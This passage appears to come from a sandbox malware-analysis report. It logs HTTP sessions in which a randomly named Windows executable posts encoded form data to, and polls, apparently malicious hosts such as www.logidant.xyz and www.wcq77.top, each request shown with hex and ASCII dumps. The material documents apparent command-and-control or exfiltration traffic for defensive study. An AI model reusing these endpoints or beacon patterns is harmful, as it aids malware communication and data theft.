                                                                        Data Ascii: nlF0=62ST7W4GUdVvyilFzLBMM2AiqgpvTwRwxhcjbS1r8D5D6DZBdFCGb9ldy+ka8mZRQdovoyNTI2ueiCw9hPtzWZ5Tl/MCp3w8uotH4DcpbmJYC33piLoATfRCXWbJRnK+If6jofR2GGKEjty3Inr3YJkmfeuepS+xCMw4cp7FrzR64LpUWfeYU+hC35m8shSmLHVwFiWF7y0skJlhkhzBGixp2Sqn


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        3192.168.2.84972045.141.156.114805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:47:52.196887970 CET1756OUTPOST /ctvu/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1241
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.logidant.xyz
                                                                        Origin: http://www.logidant.xyz
                                                                        Referer: http://www.logidant.xyz/ctvu/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 36 32 53 54 37 57 34 47 55 64 56 76 79 69 6c 46 7a 4c 42 4d 4d 32 41 69 71 67 70 76 54 77 52 77 78 68 63 6a 62 53 31 72 38 44 78 44 36 32 56 42 65 69 65 47 4b 4e 6c 64 73 75 6b 48 38 6d 5a 63 51 64 77 6a 6f 79 42 70 49 31 57 65 6b 51 34 39 30 4f 74 7a 66 5a 35 54 36 76 4d 44 74 33 78 6d 75 6f 38 41 34 44 4d 70 62 6d 4a 59 43 31 76 70 68 5a 41 41 56 66 52 42 57 57 62 56 41 33 4c 62 49 66 79 56 6f 66 63 42 48 33 32 45 6a 4e 69 33 46 31 44 33 46 5a 6b 6b 63 65 76 65 70 53 7a 7a 43 4d 73 4b 63 70 2f 76 72 30 6c 36 37 76 55 30 48 63 6d 63 46 6f 78 79 35 59 71 38 69 42 71 37 55 78 52 2b 46 54 75 72 37 6c 4d 38 69 37 68 41 74 7a 4b 47 59 6a 4e 64 32 56 62 4e 64 69 76 48 62 30 59 4d 64 33 30 37 62 34 69 4e 76 4a 63 4f 6c 30 31 77 72 58 43 78 72 51 70 6f 55 46 2f 66 51 31 6d 31 56 6d 76 76 48 33 4f 37 48 66 7a 4a 63 39 2f 5a 47 46 61 4d 36 7a 4c 77 55 58 33 6a 71 6e 74 59 7a 36 35 45 66 52 56 30 71 73 76 30 48 64 79 52 66 41 36 5a 67 58 4b 57 41 6d 43 65 55 37 2b 54 6f 74 72 71 6f 41 46 77 72 [TRUNCATED]
                                                                        Data Ascii: nlF0=62ST7W4GUdVvyilFzLBMM2AiqgpvTwRwxhcjbS1r8DxD62VBeieGKNldsukH8mZcQdwjoyBpI1WekQ490OtzfZ5T6vMDt3xmuo8A4DMpbmJYC1vphZAAVfRBWWbVA3LbIfyVofcBH32EjNi3F1D3FZkkcevepSzzCMsKcp/vr0l67vU0HcmcFoxy5Yq8iBq7UxR+FTur7lM8i7hAtzKGYjNd2VbNdivHb0YMd307b4iNvJcOl01wrXCxrQpoUF/fQ1m1VmvvH3O7HfzJc9/ZGFaM6zLwUX3jqntYz65EfRV0qsv0HdyRfA6ZgXKWAmCeU7+TotrqoAFwrAX+t5qqfcEew4LYGxVKkBbFJTQyBJXhNTVizmviJEUlBHfPpxBxcraAOOVylKYCJqPM7I1axVuEcDZ1frDcwebrqnVGsfQou+jsVNUsyu49WseZMSrdSwmqymWW12DG5s/Pb9cbU10RPkgJX4T9IJr7TczDIx8K5Vca1N9FgNsuz/EpZJyQm/wzKEXKIQVlPcwUqDVYyg3FDu5fIRlQrFKniV+QpuCFTAT0XIs4bPk/VcLZdYq6mqn39+2fe7a/93Da9VZN1BDqOPQjbiKd4Qp4zkl1wEtMbref8kh1WO3uQ3pTtBAwxU49EyuCUePp3QGBMnSV2d81jLFIGMqQCMS0q7LjRNCDIZ74T2HPrEIXEg73Q3zs6rp7Mra8Kn1soc0XXCI1h4IjrAoaRJsQJMPj3bNCzqx8Ku1k/GGeobVESnope6YFfLKQW7Ek/85P1PwBa8TvdhHDgL5fNDfoA6edmeHVr//YAhlxxhQGC26wlgN1p13RIXFf9rbNC+3khfQMyVzYcdqzCKwFG1saCIYDy8f5pCQAOMoPyX2ZLqMReG77wAn3hrJypywSzJHpFbTi1yXnxJWKuvD6nFSJY39UO794O5bE0IUYPNHJItuRNHUyzGheLH2lVNTovFx2r4RPz1vP7H7NdZkylmsy20Ouwqp6pFMk2Ro [TRUNCATED]
                                                                        Nov 27, 2024 20:47:53.557121038 CET289INHTTP/1.1 404 Not Found
                                                                        Server: nginx
                                                                        Date: Wed, 27 Nov 2024 19:47:53 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 146
                                                                        Connection: close
                                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                        Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        4192.168.2.84972645.141.156.114805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:47:54.854028940 CET467OUTGET /ctvu/?nlF0=306z4jMFZ8cLvHYY85VQdnEVrU0EcxNOzz9oMF1ntEZl1SQIBC+VKPA8lqMh/UdrcskgnhZVBAq8zTFw0YpHZNlyqvcW/A5JtLgy9iApf2VrCHHBgKMzU49rG07bf0SwZA==&UDg=ZFTXPHspLZsHZTR HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Connection: close
                                                                        Host: www.logidant.xyz
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Nov 27, 2024 20:47:56.917898893 CET289INHTTP/1.1 404 Not Found
                                                                        Server: nginx
                                                                        Date: Wed, 27 Nov 2024 19:47:56 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 146
                                                                        Connection: close
                                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                        Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        5192.168.2.849737154.23.184.194805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:48:03.347305059 CET710OUTPOST /bryf/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 205
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.wcq77.top
                                                                        Origin: http://www.wcq77.top
                                                                        Referer: http://www.wcq77.top/bryf/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 50 43 78 44 55 6d 72 38 45 76 69 67 52 79 70 6d 72 52 78 47 6a 43 4d 45 33 67 49 6a 64 2f 72 50 4e 50 41 74 2f 71 66 4e 74 74 77 63 6a 31 36 78 31 57 72 72 39 54 34 4b 65 69 53 79 41 30 30 37 79 31 68 70 72 42 52 34 5a 42 79 52 64 70 63 74 66 72 48 36 51 34 2f 41 36 7a 6a 31 35 55 56 4a 6d 69 2b 65 42 35 6c 44 38 6c 42 30 6f 75 59 39 67 41 56 38 4f 64 73 63 32 78 39 4a 39 41 4e 77 76 74 39 44 39 61 6b 71 30 77 75 7a 7a 79 42 55 73 4d 5a 34 4b 34 75 32 78 2b 79 53 64 4f 31 75 68 4f 69 33 54 57 64 67 4a 4c 5a 37 57 58 6b 47 6e 33 31 4b 32 68 6e 6a 6f 39 67 56 2b 4b 73 38 71 32 75 34 61 43 49 3d
                                                                        Data Ascii: nlF0=PCxDUmr8EvigRypmrRxGjCME3gIjd/rPNPAt/qfNttwcj16x1Wrr9T4KeiSyA007y1hprBR4ZByRdpctfrH6Q4/A6zj15UVJmi+eB5lD8lB0ouY9gAV8Odsc2x9J9ANwvt9D9akq0wuzzyBUsMZ4K4u2x+ySdO1uhOi3TWdgJLZ7WXkGn31K2hnjo9gV+Ks8q2u4aCI=
                                                                        Nov 27, 2024 20:48:05.196571112 CET312INHTTP/1.1 404 Not Found
                                                                        Server: nginx
                                                                        Date: Wed, 27 Nov 2024 19:48:04 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 148
                                                                        Connection: close
                                                                        ETag: "66a7b148-94"
                                                                        Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                        Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        6192.168.2.849739154.23.184.194805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:48:07.333309889 CET730OUTPOST /bryf/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 225
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.wcq77.top
                                                                        Origin: http://www.wcq77.top
                                                                        Referer: http://www.wcq77.top/bryf/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 50 43 78 44 55 6d 72 38 45 76 69 67 44 48 35 6d 70 77 78 47 69 69 4d 4c 37 41 49 6a 45 76 72 54 4e 50 4d 74 2f 76 76 64 74 66 6b 63 74 33 69 78 30 58 72 72 2b 54 34 4b 56 43 53 33 45 30 30 67 79 31 64 48 72 42 74 34 5a 42 6d 52 64 6f 73 74 63 59 76 35 51 6f 2f 43 79 54 6a 7a 30 30 56 4a 6d 69 2b 65 42 35 78 70 38 6c 4a 30 6f 39 51 39 67 69 39 2f 41 39 73 66 67 42 39 4a 35 41 4e 38 76 74 39 6c 39 62 4a 4e 30 79 57 7a 7a 33 39 55 73 39 5a 33 54 49 75 30 73 4f 7a 43 4d 66 63 6a 67 39 69 6e 65 77 46 7a 42 64 4e 42 54 68 56 73 39 56 39 4d 31 68 50 49 6f 2b 49 6a 37 39 78 55 77 56 2b 49 45 56 64 51 4b 51 61 70 33 67 41 4b 74 44 36 2b 79 71 49 48 6d 4a 4e 6a
                                                                        Data Ascii: nlF0=PCxDUmr8EvigDH5mpwxGiiML7AIjEvrTNPMt/vvdtfkct3ix0Xrr+T4KVCS3E00gy1dHrBt4ZBmRdostcYv5Qo/CyTjz00VJmi+eB5xp8lJ0o9Q9gi9/A9sfgB9J5AN8vt9l9bJN0yWzz39Us9Z3TIu0sOzCMfcjg9inewFzBdNBThVs9V9M1hPIo+Ij79xUwV+IEVdQKQap3gAKtD6+yqIHmJNj
                                                                        Nov 27, 2024 20:48:07.996664047 CET730OUTPOST /bryf/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 225
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.wcq77.top
                                                                        Origin: http://www.wcq77.top
                                                                        Referer: http://www.wcq77.top/bryf/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 50 43 78 44 55 6d 72 38 45 76 69 67 44 48 35 6d 70 77 78 47 69 69 4d 4c 37 41 49 6a 45 76 72 54 4e 50 4d 74 2f 76 76 64 74 66 6b 63 74 33 69 78 30 58 72 72 2b 54 34 4b 56 43 53 33 45 30 30 67 79 31 64 48 72 42 74 34 5a 42 6d 52 64 6f 73 74 63 59 76 35 51 6f 2f 43 79 54 6a 7a 30 30 56 4a 6d 69 2b 65 42 35 78 70 38 6c 4a 30 6f 39 51 39 67 69 39 2f 41 39 73 66 67 42 39 4a 35 41 4e 38 76 74 39 6c 39 62 4a 4e 30 79 57 7a 7a 33 39 55 73 39 5a 33 54 49 75 30 73 4f 7a 43 4d 66 63 6a 67 39 69 6e 65 77 46 7a 42 64 4e 42 54 68 56 73 39 56 39 4d 31 68 50 49 6f 2b 49 6a 37 39 78 55 77 56 2b 49 45 56 64 51 4b 51 61 70 33 67 41 4b 74 44 36 2b 79 71 49 48 6d 4a 4e 6a
                                                                        Data Ascii: nlF0=PCxDUmr8EvigDH5mpwxGiiML7AIjEvrTNPMt/vvdtfkct3ix0Xrr+T4KVCS3E00gy1dHrBt4ZBmRdostcYv5Qo/CyTjz00VJmi+eB5xp8lJ0o9Q9gi9/A9sfgB9J5AN8vt9l9bJN0yWzz39Us9Z3TIu0sOzCMfcjg9inewFzBdNBThVs9V9M1hPIo+Ij79xUwV+IEVdQKQap3gAKtD6+yqIHmJNj
                                                                        Nov 27, 2024 20:48:10.250601053 CET312INHTTP/1.1 404 Not Found
                                                                        Server: nginx
                                                                        Date: Wed, 27 Nov 2024 19:48:09 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 148
                                                                        Connection: close
                                                                        ETag: "66a7b148-94"
                                                                        Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                        Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        7192.168.2.849740154.23.184.194805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:48:12.117924929 CET1747OUTPOST /bryf/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1241
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.wcq77.top
                                                                        Origin: http://www.wcq77.top
                                                                        Referer: http://www.wcq77.top/bryf/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 50 43 78 44 55 6d 72 38 45 76 69 67 44 48 35 6d 70 77 78 47 69 69 4d 4c 37 41 49 6a 45 76 72 54 4e 50 4d 74 2f 76 76 64 74 66 38 63 74 47 43 78 31 30 7a 72 2f 54 34 4b 4f 69 53 32 45 30 31 77 79 31 31 4c 72 42 68 43 5a 43 65 52 63 4b 6b 74 58 4a 76 35 62 6f 2f 43 77 54 6a 79 35 55 55 4c 6d 6d 69 61 42 35 68 70 38 6c 4a 30 6f 38 41 39 6d 77 56 2f 43 39 73 63 32 78 38 47 39 41 4d 72 76 74 6c 62 39 62 4d 36 30 42 65 7a 39 33 4e 55 38 66 78 33 61 49 75 71 76 4f 79 48 4d 66 42 6a 67 39 2f 55 65 77 5a 64 42 61 68 42 52 30 4d 49 35 47 5a 42 33 44 72 42 6b 5a 6b 62 69 74 70 57 2f 31 47 48 50 47 38 78 64 51 2b 33 69 6a 52 46 71 67 2b 31 73 38 55 48 70 50 70 70 77 62 64 77 6a 67 4d 4e 54 73 6b 75 35 5a 31 37 5a 62 44 68 34 38 72 61 38 4e 57 74 41 34 2f 43 45 6b 49 68 52 39 79 51 73 36 67 5a 46 6c 4a 4e 51 2f 45 79 33 4a 44 6d 72 6d 34 6c 2f 2f 51 62 32 48 54 4e 67 54 37 6e 77 65 44 71 6a 38 66 7a 47 49 30 6d 76 5a 74 58 31 6d 64 34 4e 71 35 37 75 4b 4d 2f 59 65 7a 41 48 67 76 63 35 48 5a 2f 6f [TRUNCATED]
                                                                        Data Ascii: nlF0=PCxDUmr8EvigDH5mpwxGiiML7AIjEvrTNPMt/vvdtf8ctGCx10zr/T4KOiS2E01wy11LrBhCZCeRcKktXJv5bo/CwTjy5UULmmiaB5hp8lJ0o8A9mwV/C9sc2x8G9AMrvtlb9bM60Bez93NU8fx3aIuqvOyHMfBjg9/UewZdBahBR0MI5GZB3DrBkZkbitpW/1GHPG8xdQ+3ijRFqg+1s8UHpPppwbdwjgMNTsku5Z17ZbDh48ra8NWtA4/CEkIhR9yQs6gZFlJNQ/Ey3JDmrm4l//Qb2HTNgT7nweDqj8fzGI0mvZtX1md4Nq57uKM/YezAHgvc5HZ/oonTRgT4Nt/5LTcSXS0491kDbYolvXtSio88R4tyrbhuWOnuUxRg+es0h/6cvS6G5Zu1o77MRvrpvBOsudkUowbn2wdEa2C60iCdgNwPqrN1NOhLd8PfApuCd+D2qbuWHu4p6FUcu76wMXbCSfGPPU8D56STwZGBpFaPiG+8xDzVqjMmGEg469f3Uo+oWqk+rOkyEKC7KI1xHJC2iulnkQXFil5dyrZ3p3K48aHd64anz56YeJyYatgS842XpZlpm/mOLpb9RFhV6YivISENSODhBZTQWCxifC7bvc5yumtIyR+/kX15wx2MDCxQRTqKgEo5vwPrM1GHqJUosV0pYKa0h80k+Oi1retp8FWX3Pm5z7FBa7B3fAdTZo6rD4lzPt3nKrbK5NGI14+cEsD1UXTkgfZD//n2t9BAhDL/CTB9Me/MNWvTDjYS51plDogF0xYGz1DkfKf3+stV7uuAmggP51g+Pvp+6JxjfUKfjp2eWMaM6MkBaFF3prVlrAtS6/qD6Fqsmlav0+wtQppLYRDBzILTEeI4DEjJUqS30jx4CbJJxQFFYMq2V7QhyneJ5CVbPN7lWF2rD9gSqojNw8+fujE+oG4eyTuhaXikMxauLrMK4DE+yQB02RlWM2hhGAwByfRQ9ryAcT+7KKGijHgrgbDxI5gLwQr [TRUNCATED]
                                                                        Nov 27, 2024 20:48:12.762337923 CET1236OUTData Raw: 50 43 78 44 55 6d 72 38 45 76 69 67 44 48 35 6d 70 77 78 47 69 69 4d 4c 37 41 49 6a 45 76 72 54 4e 50 4d 74 2f 76 76 64 74 66 38 63 74 47 43 78 31 30 7a 72 2f 54 34 4b 4f 69 53 32 45 30 31 77 79 31 31 4c 72 42 68 43 5a 43 65 52 63 4b 6b 74 58 4a
                                                                        Data Ascii: PCxDUmr8EvigDH5mpwxGiiML7AIjEvrTNPMt/vvdtf8ctGCx10zr/T4KOiS2E01wy11LrBhCZCeRcKktXJv5bo/CwTjy5UULmmiaB5hp8lJ0o8A9mwV/C9sc2x8G9AMrvtlb9bM60Bez93NU8fx3aIuqvOyHMfBjg9/UewZdBahBR0MI5GZB3DrBkZkbitpW/1GHPG8xdQ+3ijRFqg+1s8UHpPppwbdwjgMNTsku5Z17ZbDh48r
                                                                        Nov 27, 2024 20:48:13.715466022 CET1236OUTPOST /bryf/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1241
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.wcq77.top
                                                                        Origin: http://www.wcq77.top
                                                                        Referer: http://www.wcq77.top/bryf/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 50 43 78 44 55 6d 72 38 45 76 69 67 44 48 35 6d 70 77 78 47 69 69 4d 4c 37 41 49 6a 45 76 72 54 4e 50 4d 74 2f 76 76 64 74 66 38 63 74 47 43 78 31 30 7a 72 2f 54 34 4b 4f 69 53 32 45 30 31 77 79 31 31 4c 72 42 68 43 5a 43 65 52 63 4b 6b 74 58 4a 76 35 62 6f 2f 43 77 54 6a 79 35 55 55 4c 6d 6d 69 61 42 35 68 70 38 6c 4a 30 6f 38 41 39 6d 77 56 2f 43 39 73 63 32 78 38 47 39 41 4d 72 76 74 6c 62 39 62 4d 36 30 42 65 7a 39 33 4e 55 38 66 78 33 61 49 75 71 76 4f 79 48 4d 66 42 6a 67 39 2f 55 65 77 5a 64 42 61 68 42 52 30 4d 49 35 47 5a 42 33 44 72 42 6b 5a 6b 62 69 74 70 57 2f 31 47 48 50 47 38 78 64 51 2b 33 69 6a 52 46 71 67 2b 31 73 38 55 48 70 50 70 70 77 62 64 77 6a 67 4d 4e 54 73 6b 75 35 5a 31 37 5a 62 44 68 34 38 72 61 38 4e 57 74 41 34 2f 43 45 6b 49 68 52 39 79 51 73 36 67 5a 46 6c 4a 4e 51 2f 45 79 33 4a 44 6d 72 6d 34 6c 2f 2f 51 62 32 48 54 4e 67 54 37 6e 77 65 44 71 6a 38 66 7a 47 49 30 6d 76 5a 74 58 31 6d 64 34 4e 71 35 37 75 4b 4d 2f 59 65 7a 41 48 67 76 63 35 48 5a 2f 6f [TRUNCATED]
                                                                        Data Ascii: nlF0=PCxDUmr8EvigDH5mpwxGiiML7AIjEvrTNPMt/vvdtf8ctGCx10zr/T4KOiS2E01wy11LrBhCZCeRcKktXJv5bo/CwTjy5UULmmiaB5hp8lJ0o8A9mwV/C9sc2x8G9AMrvtlb9bM60Bez93NU8fx3aIuqvOyHMfBjg9/UewZdBahBR0MI5GZB3DrBkZkbitpW/1GHPG8xdQ+3ijRFqg+1s8UHpPppwbdwjgMNTsku5Z17ZbDh48ra8NWtA4/CEkIhR9yQs6gZFlJNQ/Ey3JDmrm4l//Qb2HTNgT7nweDqj8fzGI0mvZtX1md4Nq57uKM/YezAHgvc5HZ/oonTRgT4Nt/5LTcSXS0491kDbYolvXtSio88R4tyrbhuWOnuUxRg+es0h/6cvS6G5Zu1o77MRvrpvBOsudkUowbn2wdEa2C60iCdgNwPqrN1NOhLd8PfApuCd+D2qbuWHu4p6FUcu76wMXbCSfGPPU8D56STwZGBpFaPiG+8xDzVqjMmGEg469f3Uo+oWqk+rOkyEKC7KI1xHJC2iulnkQXFil5dyrZ3p3K48aHd64anz56YeJyYatgS842XpZlpm/mOLpb9RFhV6YivISENSODhBZTQWCxifC7bvc5yumtIyR+/kX15wx2MDCxQRTqKgEo5vwPrM1GHqJUosV0pYKa0h80k+Oi1retp8FWX3Pm5z7FBa7B3fAdTZo6rD4lzPt3nKrbK5


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        8192.168.2.849746154.23.184.194805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:48:15.701860905 CET464OUTGET /bryf/?UDg=ZFTXPHspLZsHZTR&nlF0=CAZjXQbNTKeWQTQjkjtYjT8g3WYbNJL1UeVU1dDfkJwpgmj9+23WxzoueliXKU0GrnZ7rAlARHmYQrQtVPfpR9vj1R3Yu096wDmSBpts1Wt80/EKpxlwOagm2CRa9R505A== HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Connection: close
                                                                        Host: www.wcq77.top
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Nov 27, 2024 20:48:16.371715069 CET464OUTGET /bryf/?UDg=ZFTXPHspLZsHZTR&nlF0=CAZjXQbNTKeWQTQjkjtYjT8g3WYbNJL1UeVU1dDfkJwpgmj9+23WxzoueliXKU0GrnZ7rAlARHmYQrQtVPfpR9vj1R3Yu096wDmSBpts1Wt80/EKpxlwOagm2CRa9R505A== HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Connection: close
                                                                        Host: www.wcq77.top
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Nov 27, 2024 20:48:17.168606043 CET464OUTGET /bryf/?UDg=ZFTXPHspLZsHZTR&nlF0=CAZjXQbNTKeWQTQjkjtYjT8g3WYbNJL1UeVU1dDfkJwpgmj9+23WxzoueliXKU0GrnZ7rAlARHmYQrQtVPfpR9vj1R3Yu096wDmSBpts1Wt80/EKpxlwOagm2CRa9R505A== HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Connection: close
                                                                        Host: www.wcq77.top
